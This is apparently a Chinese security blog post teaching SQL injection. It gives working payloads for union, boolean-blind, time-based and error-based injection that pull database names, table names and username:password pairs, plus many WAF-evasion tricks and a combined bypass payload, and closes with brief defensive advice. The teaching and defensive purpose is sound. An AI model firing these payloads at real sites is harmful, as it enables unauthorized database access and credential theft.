SQL注入

一、SQL注入类型详解

1. 联合查询注入 (Union-based SQL Injection)

原理:利用UNION操作符将恶意查询结果“附加”到原始查询结果之后。

关键前提条件

  1. 原始查询与注入查询的列数必须相同
  2. 对应列的数据类型必须兼容
  3. 页面有回显位置显示查询结果

实战步骤

-- 1. 确定列数(使用ORDER BY或UNION SELECT NULL)
?id=1' ORDER BY 5--      -- 如果5报错,4不报错,说明有4列
?id=-1' UNION SELECT NULL,NULL,NULL,NULL-- 

-- 2. 确定哪些列有回显
?id=-1' UNION SELECT 'A','B','C','D'-- 

-- 3. 获取数据库信息
?id=-1' UNION SELECT 
    1,
    database(),          -- 当前数据库名
    user(),              -- 当前数据库用户
    version()--          -- 数据库版本

-- 4. 获取表名(以MySQL为例)
?id=-1' UNION SELECT
    1,
    group_concat(table_name),  -- 将所有表名拼接成一行
    3,
    4 
FROM information_schema.tables 
WHERE table_schema=database()--

2. 布尔盲注 (Boolean-based Blind SQL Injection)

适用场景:页面没有明显错误回显,也没有数据直接显示,但页面状态会随SQL语句真假变化

判断逻辑

  • 如果注入语句为真 → 页面正常显示
  • 如果注入语句为假 → 页面异常、空白或不同

逐字符爆破示例

-- 1. 判断数据库名长度
?id=1' AND length(database()) = 8--     -- 如果为真,说明数据库名长度为8

-- 2. 逐字符猜解数据库名
?id=1' AND ascii(substr(database(),1,1)) = 115--    -- 猜第一个字符是's'(ascii 115)

-- 3. 猜解表名
?id=1' AND 
    ascii(substr(
        (SELECT table_name FROM information_schema.tables 
         WHERE table_schema=database() LIMIT 0,1),1,1)
    ) > 100--

-- 4. 猜解字段值(更高效的方法)
?id=1' AND 
    (SELECT substring(concat(username,0x3a,password),1,1) 
     FROM users LIMIT 0,1) = 'a'--

3. 时间盲注 (Time-based Blind SQL Injection)

适用场景:页面无论SQL语句真假都显示相同内容,只能通过响应时间差异判断。

常用时间延迟函数

-- MySQL
?id=1' AND if(条件, sleep(5), 1)-- 

-- PostgreSQL
?id=1'; SELECT CASE WHEN (条件) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- SQL Server
?id=1'; IF (条件) WAITFOR DELAY '0:0:5'--

-- 实际攻击示例:猜解数据库名第一个字符
?id=1' AND 
    if(
        ascii(substr(database(),1,1)) > 100,
        sleep(3),      -- 如果>100,延迟3秒
        1
    )--

-- 批量猜解自动化脚本逻辑
-- 如果第一个字符的ASCII码二进制第1位是1,则延迟
if((select ascii(substr(database(),1,1)) & 1), sleep(2), 0)
-- 然后测试第2位、第3位...(位运算逐位猜解)

4. 报错注入 (Error-based SQL Injection)

原理:故意构造错误的SQL语句,让数据库在错误信息中返回敏感数据

常用报错函数

-- 1. MySQL updatexml() 报错注入
?id=1' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--
-- 0x7e是波浪号~,作为分隔符使错误信息更清晰

-- 2. MySQL extractvalue() 报错注入
?id=1' AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))--

-- 3. 通过主键重复报错(需要子查询)
?id=1' AND (select 1 from (select count(*), 
    concat(database(), floor(rand(0)*2)) as x 
    from information_schema.tables group by x) as y)--

-- 4. PostgreSQL cast() 报错注入
?id=1' AND 1=cast((SELECT version()) as int)--

-- 5. SQL Server convert() 报错注入
?id=1' AND 1=convert(int, (SELECT @@version))--

报错注入的优势

  • 一次查询即可获取大量数据(不像盲注需要逐字符猜)
  • 比联合注入限制少(不需要考虑列数匹配)

二、SQL注入绕过技术详解

1. 编码绕过

原理:WAF(Web应用防火墙)可能只检查原始输入,而不解码处理。

常用编码方式

-- URL编码
select → %73%65%6c%65%63%74
union → %75%6e%69%6f%6e

-- 十六进制编码
SELECT * FROM users WHERE id=1 → 0x53454c454354202a2046524f4d2075736572732057484552452069643d31

-- Unicode编码
select → \u0073\u0065\u006c\u0065\u0063\u0074

-- 双重URL编码
s → %2573  (先编码为%73,再编码为%2573)

2. 大小写/大小写混合绕过

原理:数据库查询通常不区分大小写,但WAF规则可能区分。

-- 原始:SELECT
-- 绕过:
SeLeCt
SElEcT
sElEcT

-- 配合其他绕过技术
UnIoN SeLeCt
uNiOn AlL sElEcT

3. 添加无效/特殊字符

原理:数据库会忽略某些特殊字符,但WAF可能不会识别。

-- 注释符绕过(/* */, -- , #)
SEL/**/ECT
UNI/*任意内容*/ON
SELECT * FROM users WHERE id=1/*注释*/AND user='admin'

-- 空白符替代(数据库忽略,WAF可能不识别)
SEL%09ECT      -- TAB
SEL%0aECT      -- 换行
SEL%0dECT      -- 回车
SEL%0bECT      -- 垂直制表符

-- 空字节(%00)截断(旧系统有效)
%00SELECT
SEL%00ECT

-- 括号绕过
UNION (SELECT 1,2,3)
(SELECT) (1),(2),(3) FROM (users)

-- 反引号/引号绕过(MySQL)
SELECT `username` FROM `users`
SELECT 'username' FROM 'users'

4. 内联注释绕过(MySQL特有)

原理:MySQL会执行/*! ... */中的内容,其他数据库视为注释。

-- 基本用法
/*!SELECT*/ * FROM users
UNION /*!SELECT*/ 1,2,3

-- 指定MySQL版本(只有>=该版本才执行)
/*!50000SELECT*/  -- MySQL 5.0.0及以上版本执行
/*!50705SELECT*/ -- MySQL 5.7.5及以上版本执行

-- 复杂示例
?id=1' /*!UNION*/ /*!SELECT*/ 1,database(),3--

5. 双写/拆分绕过

原理:WAF删除关键词后,剩下的部分仍能组成有效关键词。

-- 双写绕过(WAF删除第一个关键词后,剩下第二个)
SELSELECTECT
UNUNIONION
ORORDERDER BY

-- 拆分绕过
SEL ECT  -- 中间加空格(可能被WAF规则忽略)
SEL%0bECT
(SEL) + (ECT)  -- 某些数据库支持
CONCAT('SEL','ECT')

-- 使用变量/函数拼接
SET @s = CONCAT('SEL','ECT');
PREPARE stmt FROM @s;
EXECUTE stmt;

6. 等价函数/语法替换

原理:使用功能相同但写法不同的函数或语法。

-- 替代 substr()
mid(), substring(), left(), right()

-- 替代 ascii()
ord(), hex(), bin(), conv()

-- 替代 sleep()
benchmark(1000000, md5('test'))  -- MySQL,通过大量计算延迟
pg_sleep(5)  -- PostgreSQL
WAITFOR DELAY '0:0:5'  -- SQL Server

-- 替代 union select
union all select
union distinct select
|| (在某些数据库中是连接符)

7. HTTP参数污染 (HPP)

原理:提交多个同名参数,不同服务器处理方式不同。

GET /page.php?id=1&id=UNION SELECT 1,2,3--
  • 可能WAF检查第一个id=1(正常),应用使用第二个id=UNION...(恶意)

8. 分块传输编码 (Chunked Transfer Encoding)

原理:将请求体分块发送,绕过基于正则表达式的WAF。

POST /vulnerable.php HTTP/1.1
Transfer-Encoding: chunked

4
id=1
10
&query=UNION SELECT
8
1,2,3--
0

三、防御建议(从攻击者角度了解防御)

  1. 使用预编译语句(参数化查询) # 错误示例(拼接字符串) query = "SELECT * FROM users WHERE id = " + user_input # 正确示例(参数化查询) cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
  2. 严格的输入验证
    • 白名单验证(只允许特定字符)
    • 类型转换(如intval()强制转为整数)
  3. 最小权限原则
    • 数据库连接用户只授予必要权限
    • 禁用FILEOUTFILE等高危权限
  4. WAF配置
    • 定期更新规则库
    • 使用语义分析而非单纯关键词匹配
    • 结合机器学习检测异常模式
  5. 错误处理
    • 生产环境关闭详细错误信息
    • 使用自定义错误页面

四、实际渗透测试中的组合使用

-- 示例:综合绕过WAF的注入payload
?id=1' /*!50000union*/ /*!50000select*/ 
    1,
    /*!50000concat*/(
        0x7e,
        /*!50000schema*/() , 
        0x7e
    ),
    3 
from 
    /*!50000information_schema*/.tables 
where 
    table_schema=/*!50000database*/() 
    and 1=2 
union%23%0a
all%0b
select%0b
@%60:=1%60,
@%60:=2%60,
@%60:=3%60--%20-

这些技术在实际渗透测试中通常需要根据目标环境组合使用、灵活变通。理解原理比记忆payload更重要,因为WAF和防御技术也在不断进化。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇